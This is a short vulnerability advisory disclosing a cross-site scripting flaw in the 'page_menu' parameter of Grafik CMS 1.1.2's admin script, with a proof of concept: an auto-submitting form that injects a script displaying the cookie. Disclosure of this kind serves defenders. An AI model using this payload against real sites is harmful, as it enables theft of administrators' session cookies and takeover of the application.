XSS vulnerability in Grafik CMS

[advisory () htbridge ch]

Vulnerability ID: HTB22439
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_grafik_cms_1.html
Product: Grafik CMS
Vendor: GrafikPower
Vulnerable Version: 1.1.2 and Probably Prior Versions
Vendor Notification: 14 June 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/admin.php" script to properly sanitize user-supplied input in 
"page_menu" variable. Successful exploitation of this vulnerability could result in a compromise of the application, 
theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/admin.php?action=edit_page&id=1"; method="post" name="main" >
        <input type="hidden" name="page_title" value="page title" />
        <input type="hidden" name="page_menu" value='descr"><script>alert(document.cookie)</script>' />
        <input type="hidden" name="id" value="1" />
        <input type="hidden" name="page_content" value="some page content" />
        <input id="sbmt" type="submit" name="submit" value="Modifier" />
</form>
<script>
document.getElementById('sbmt').click();
</script>